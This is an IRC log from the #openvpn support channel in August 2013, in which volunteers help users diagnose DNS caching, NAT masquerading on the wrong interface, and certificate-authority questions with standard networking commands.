19:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:23 < rob0> dig +short openvpn.net. ; dig +short nxdomain.openvpn.net.
19:24 < rob0> dig(1) is the right tool to use to diagnose possible DNS problems. Your browser is not.
19:24 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 260 seconds]
19:26 < tomboy_> rob0: i'm sorry, what're you saying?
19:28 < tomboy_> rob0: wait, i get it, and i got it: you're saying i have cookies that are persisting this use of my ISPs DNS?
19:28 < tomboy_> because the problem isn't reproducable without cookies, i've noticed.
19:29 < tomboy_> like your dig command, it returns nothing for nxdomain; which is the expectation.
19:32 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
19:32 < tapout> !welcome
19:32 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:32 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:32 < tapout> !howto
19:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:33 < rob0> tomboy_, it would thus appear that DNS is properly going through the tunnel.
19:34 -!- Martyn [~Martin@216.38.134.150] has quit [Quit: Martyn]
19:35 < tomboy_> rob0: so, there must be a cookie that is causing redirection for the browser?
19:36 < rob0> maybe browser caching? Maybe OS caching?
19:36 < tomboy_> rob0: yes. it just expired. everything looks like it should now.
19:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:36 < rob0> I am not aware of any browser that overrides a system resolver.
19:37 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
19:37 < tomboy_> rob0: yea, i mean, that's what confused me until i realized it was cached.
19:39 < rob0> BTW if you are really wanting to be anonymous, you did not do it well. You should flush cookies and restart the browser after connecting to the VPN.
19:53 < tomboy_> rob0: okay. now if i could only create a FAQ on the TracWiki. o well, dinner time.
19:53 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
19:54 < tapout> so If i have openvpn setup on the server, and I want to allow my windows 8 to connect.. can I generate a client key and scp it over to the server?
19:57 -!- hednod [exile@wintermute.probsd.net] has left #openvpn []
19:58 < rob0> !pki
19:58 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
19:58 <@vpnHelper> signed specially as a server (see !servercert)
20:03 -!- raidz is now known as raidz_away
20:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
21:12 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
21:12 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:17 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
21:20 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
21:22 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:25 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 245 seconds]
21:25 -!- michaelhart_ is now known as michaelhart
21:59 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Quit: ||||||||||||||||||||||||||||||||||||||||||||||| 99%]
22:00 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:21 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Quit: ||||||||||||||||||||||||||||||||||||||||||||||| 99%]
22:23 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:33 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zrbjieudznnbkyzj] has joined #openvpn
23:25 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
23:29 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 264 seconds]
23:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
23:31 -!- JPeterson [HydraIRC@host-90-233-143-143.mobileonline.telia.com] has joined #openvpn
23:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:54 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
--- Day changed Fri Aug 30 2013
00:05 -!- ele__ is now known as ele
00:23 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:28 -!- VioByte [~unknown@unaffiliated/viobyte] has joined #openvpn
00:46 -!- crus [~crusader@2001:44b8:319e:2900:b5cf:63c2:c095:46c3] has quit [Read error: Connection reset by peer]
00:47 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:57 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Quit: Leaving]
01:05 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
01:20 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:23 -!- [1]JPeterson [HydraIRC@host-90-233-197-172.mobileonline.telia.com] has joined #openvpn
01:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:23 -!- JPeterson [HydraIRC@host-90-233-143-143.mobileonline.telia.com] has quit [Ping timeout: 260 seconds]
01:25 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Ping timeout: 260 seconds]
01:26 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
01:47 -!- truexfan81 [truexfan81@unaffiliated/truexfan81] has left #openvpn [""Momma says stupid is as stupid does" -Forest Gump"]
01:59 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
01:59 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
01:59 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
02:12 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has left #openvpn ["?RETURN WITHOUT GOSUB"]
02:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
02:18 -!- tharkun [~0@187.188.94.182] has joined #openvpn
02:28 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
02:37 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zrbjieudznnbkyzj] has quit [Ping timeout: 245 seconds]
02:42 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
02:43 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:44 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-okllsbtnrrmelaby] has joined #openvpn
02:48 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
02:49 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
02:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
02:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:00 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 240 seconds]
03:21 -!- szr [~s_r@unaffiliated/szr] has quit [Ping timeout: 240 seconds]
03:22 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
03:23 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: Connection reset by peer]
03:23 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
03:26 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
03:26 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
03:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:32 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
03:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
03:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
03:39 -!- mode/#openvpn [+o dazo_afk] by ChanServ
03:39 -!- dazo_afk is now known as dazo
03:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:49 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:05 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:08 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
04:08 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
04:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
04:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:27 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
04:27 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
04:30 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
04:30 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
04:30 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-okllsbtnrrmelaby] has quit [Read error: Connection reset by peer]
04:31 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jantyyrjhptwupfz] has joined #openvpn
04:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:39 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jantyyrjhptwupfz] has quit [Ping timeout: 264 seconds]
04:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
04:43 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
04:46 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:47 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mzfyjymmzexzzmkx] has joined #openvpn
04:52 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
04:52 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:25 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
06:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:12 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mzfyjymmzexzzmkx] has quit [Ping timeout: 245 seconds]
06:21 -!- Devastator [~devas@186.214.110.201] has joined #openvpn
06:21 -!- Devastator [~devas@186.214.110.201] has quit [Changing host]
06:21 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
06:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:22 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:39 -!- szr [~s_r@unaffiliated/szr] has quit [Read error: No route to host]
06:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:41 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:41 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:51 -!- takamich_ [~takamichi@217.23.5.63] has joined #openvpn
06:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
06:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:05 -!- Devastatr [~devas@186.214.15.246] has joined #openvpn
07:06 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
07:15 -!- takamich_ [~takamichi@217.23.5.63] has quit [Ping timeout: 245 seconds]
07:16 -!- astrobdw [astrobdw@dslb-084-062-114-223.pools.arcor-ip.net] has joined #openvpn
07:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:18 < astrobdw> I've had OpenVPN working steadily for a couple of months, but just this morning, no traffic gets routed through the connection. I can only reach my server, no other hosts. It seems like a iptables masq issue, but everything looks good as far as I can tell. How do I start troubleshooting?
07:18 -!- Devastatr [~devas@186.214.15.246] has quit [Changing host]
07:18 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
07:18 -!- Devastatr is now known as Devastator
07:22 < astrobdw> Is it possible that the VPS hosting provider has blocked my VPN somehow? I can SSH to my VPS and reach external hosts, so I don't think it is blocked, but how would I tell conclusively?
07:22 < astrobdw> (I have OpenVPN running on this VPS)
07:28 -!- lkmkl [~ml@84.238.81.51] has joined #openvpn
07:28 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:29 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
07:30 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
07:36 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vrvkexzclkfyghuv] has joined #openvpn
07:38 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:47 < astrobdw>  I've had OpenVPN working steadily for a couple of months, but just this morning, no traffic gets routed through the connection. I can only reach my server, no other hosts. It seems like a iptables masq issue, but everything looks good as far as I can tell. How do I start troubleshooting?
08:05 <+pekster> What are you attempting to do?
08:05 < rob0> Take over the world!
08:06 < rob0> Oh, you didn't mean me, nm.
08:06 <+pekster> rob0: Well, if you want it to do that, submit a patch for consideration like everyone else ;)
08:07 < rob0> sub World_Takeover()
08:12 < astrobdw> I'm just trying to use my openvpn setup to access the internet; was working until this morning after my host rebooted my VPS.
08:12 < astrobdw> :-(
08:12 <+pekster> astrobdw,
08:12 <+pekster> !redirect
08:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
08:12 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
08:13 <+pekster> Could very well be a firewall issue allowing either the forwarded traffic from your client, or allowing the return traffic. And of course NAT, if you aren't using public IP space for the VPN
08:13 -!- kirin` [telex@gateway/shell/anapnea.net/x-mtgjgehjpsrbaryf] has quit [Ping timeout: 260 seconds]
08:15 < astrobdw> Cannot ping google dns (8.8.8.8), IP forwarding is enabled, redirect-gateway is enabled, Nat is enabled (I believe, but this is the one piece where I begin to be suspicious)...?
08:16 < astrobdw> "iptables -L -t nat -v" results in: "0     0 MASQUERADE  all  --  any    eth0    10.8.0.0/24          anywhere"
08:16 < astrobdw> which looks correct to me?
08:16 <+pekster> -L is an awful way to post your rules on IRC; try a pastebin of `iptables-save -c` somewhere
08:16 <+pekster> !paste
08:16 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
08:16 < astrobdw> kthx hold on
08:18 < astrobdw> http://pastebin.com/2AGVV1gW
08:20 <+pekster> Seems to be fine, both for NAT and firewall setup
08:20 <+pekster> (assuming 10.8.0/24 is the VPN, and eth0 is your uplink on the server)
08:20 < astrobdw> I thought so... but I don't know what to do to troubleshoot next
08:21 < astrobdw> yes, the above is true
08:21 <+pekster> You have a helpful troubleshooting flowchart
08:21 < astrobdw> yes, thank you for the flowchart, but I am stuck at cannot ping 8.8.8.8
08:22 <+pekster> The good news is there are 3 more branch-boxes after that point
08:22 <+pekster> "stuck" is a bit of a misnomer here
08:22 <+pekster> !ipforward
08:22 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
08:23 < astrobdw> forwarding is enabled and allowed by the firewall
08:24 < astrobdw> cat /proc/sys/net/ipv4/ip_forward results in "1"
08:24 <+pekster> Start looking for traffic flowing across your interfaces then. You didn't add the "-c" flag to iptables-save, so I can't see hitcounters (check those yourself too before you go tcpdumping/wiresharking for answers)
08:24 <+pekster> !tcpdump
08:24 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
08:26 < astrobdw> http://pastebin.com/Xs9YEVn0
08:26 < astrobdw> Guessing that the [0:0] on FORWARD ACCEPT is no bueno
08:29 < astrobdw> but I am in over my head here... wracking my brain to figure out what would have changed between yesterday (working) to today after reboot (not working)
08:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-vkcuvpqnhkiogduu] has joined #openvpn
08:30 <+pekster> Line 17 is getting the outbound packets, but there's no NAT happening (no hits on line 6)
08:30 <+pekster> Looks like your uplink interface may be bad, or packets for that IP aren't going out that one
08:30 <+pekster> !interface
08:30 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
08:30 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
08:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
08:32 < astrobdw> I appreciate your help, again. The uplink, I believe, is fine, as I can SSH to my VPS and reach external hosts. With "no NAT happening" - how do I track down why that would be? Am I understanding you correctly re uplink interface?
08:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:50 <+pekster> astrobdw: I have no clue if you understand or not. Without seeing how your interfaces are configured, I have no clue if eth0 holds the address you're using for your default gateway. Look at it and see?
08:51 < astrobdw> http://pastebin.com/hpRET55X
08:52 < astrobdw> br0 has the external facing ip address
08:53 <+pekster> You should MASQUERADE on that interface then, not eth0
08:53 <+pekster> I'm not completely sure why you're using a bridge if you only have the 1 physical interfface, but regardless, use the interface that holds the address when you filter by in/out interface in netfilter
08:56 < astrobdw> that was it
08:56 < astrobdw> and I think it is a vestige of when I first tried to set this up
08:57 <+pekster> For future reference, try to avoid using `ifconfig`, `route`, and `netstat` commands on Linux. The last is "officially" deprecated, and the replacement tools have been around for a decade or so. Time to learn them if you haven't
08:57 <+pekster> !ifconfig_linux
08:57 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
08:57 < astrobdw> ok, thank you. I will study up
08:58 <+pekster> It "works" but it's the old method. We like new-hotness on Freenode (for broad definitions of "new" in this case ;)
09:03 < MorgyN> nftables!
09:04 <+pekster> Hey, if you really are running a 2.2-era kernel, ipchains and ifconfig were all the rage back then
09:04 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
09:05 < astrobdw> It's a 2.6 kernel. Thank you again for your help!
09:05 -!- astrobdw [astrobdw@dslb-084-062-114-223.pools.arcor-ip.net] has quit []
09:05 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 260 seconds]
09:05 -!- michaelhart_ is now known as michaelhart
09:08 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
09:08 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:15 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
09:18 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 245 seconds]
09:18 -!- michaelhart_ is now known as michaelhart
09:53 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:06 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 264 seconds]
10:19 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
10:22 -!- raidz_away is now known as raidz
10:38 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:45 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 276 seconds]
10:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
11:06 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
11:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:11 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
11:16 -!- master_o1_master [~master_of@p4FD7BB2D.dip0.t-ipconnect.de] has joined #openvpn
11:17 -!- master_of_master [~master_of@p4FF24A35.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
11:26 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
11:35 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
11:45 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:49 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 260 seconds]
11:51 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
12:04 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
12:04 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
12:10 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
12:10 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Ping timeout: 260 seconds]
12:16 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
12:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:25 -!- timmmaaaayyy [~timmmaaaa@220.sub-70-196-198.myvzw.com] has joined #openvpn
12:27 < timmmaaaayyy> my entire company uses openvpn.  i'm trying to utilize the same user certificates for 802.1x authentication on my wireless.  anyone know if the openvpn CA can sign a server's csr?  I cant seem to get it to work properly
12:28 < rob0> That's really an openssl question. OpenVPN's easy-rsa is just an openssl frontend.
12:29 <+pekster> Nothing stops you from doing this, but you need to be aware of application requirements for X509 fields and modify your setup accordingly
12:29 <+pekster> As a quick example, a website on multiple domains probably needs the subjectAltName extension, but that's one of many specifics that depends on your network/application design
12:30 < timmmaaaayyy> i'm trying to only use the CN for this.  thanks for the advice
12:30 < timmmaaaayyy> i'll dive into openssl and see if i can figure this out.  thanks much!!
12:31 <+pekster> easyrsa3 (a "next-gen" easy-rsa successor I'm hacking at) makes adding your own stuff a bit easier, but it's very beta right now. !easyrsa3 if you want to toy with the code should you decide extra messing with the openssl.cnf or extensions in a frontend are useful things
12:40 < Eugene> !xca
12:40 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
12:41 < Eugene> I don't know if certs build with the KU options needed for 802.1x will be compatible with openvpn, but it ought to be possible.
12:41 < Eugene> And they can definitely all exist under the same CA
12:42 <+pekster> You can specify your own ku/eku options for OpenVPN too to get the same MITM protection while playing nice with other needs
12:43 <+pekster> !learn certman as Various frontends can help you manage your PKI (certs & keys.) !easy-rsa is the officially supported one for OpenVPN.
12:43 <@vpnHelper> Joo got it.
12:44 <+pekster> !learn certman as Other choices include: !xca, !ssladmin, & !easyrsa3 (in beta)
12:44 <@vpnHelper> Joo got it.
12:44 < Eugene> Shiny.
12:46 <+pekster> !learn pki as See !certman for various PKI management frontends
12:46 <@vpnHelper> Joo got it.
12:48 -!- Sebb [~sebastian@2001:470:703c:1::1] has left #openvpn []
12:49 -!- jasonk [~jasonk@mux-hq.intacct.com] has joined #openvpn
12:54 < jasonk> Hey Guys - Running OpenVPN Access Server version 1.8.3.  We've been on this version for over a year without any real issues.  In the last week or so, we've started to experience a number of clients reconnecting.  Openvpnas.log shows "Inactivity timeout (--ping-restart), restarting'" for the clients.
12:54 < jasonk> Any thoughts?  Where is this inactivity timeout setting defined on the openvpnas server?
12:55 < jasonk> I realize we should probably upgrade to the latest version.  We'd like to, but we're currently having issues getting the latest version to work with our AD + Yubikey setup.  So until we can resolve, we're stuck on 1.8.3
12:55 < rob0> !as
12:55 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
12:56 < jasonk> ty vpnHelper
13:01 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
13:14 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
13:32 -!- kubbing_ [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has joined #openvpn
13:32 -!- kubbing [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Read error: No route to host]
13:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:49 -!- kubbing_ [~kubbing@ip-78-102-124-153.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
13:50 -!- p3rror [~p3rror@41.248.205.138] has joined #openvpn
13:57 -!- lkmkl is now known as hamas
14:12 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:12 -!- mode/#openvpn [+v s7r] by ChanServ
14:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
14:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
14:35 -!- Devastator [~devas@177.18.199.183] has joined #openvpn
14:39 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
14:46 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:46 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
15:02 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds]
15:29 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
15:29 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
15:29 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
15:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:52 -!- timmmaaaayyy [~timmmaaaa@220.sub-70-196-198.myvzw.com] has quit [Remote host closed the connection]
16:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
16:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:06 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 245 seconds]
16:09 -!- Aketzu [~akolehma@kelvin.aketzu.net] has joined #openvpn
16:11 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:18 -!- clue_h [~acer@unaffiliated/clue-h/x-1207620] has joined #openvpn
16:27 < clue_h> Hello, is was wondering if there's any guides or info out there on setting the correct outbound firewall rules in linux to allow openvpn when inbound is deny all,
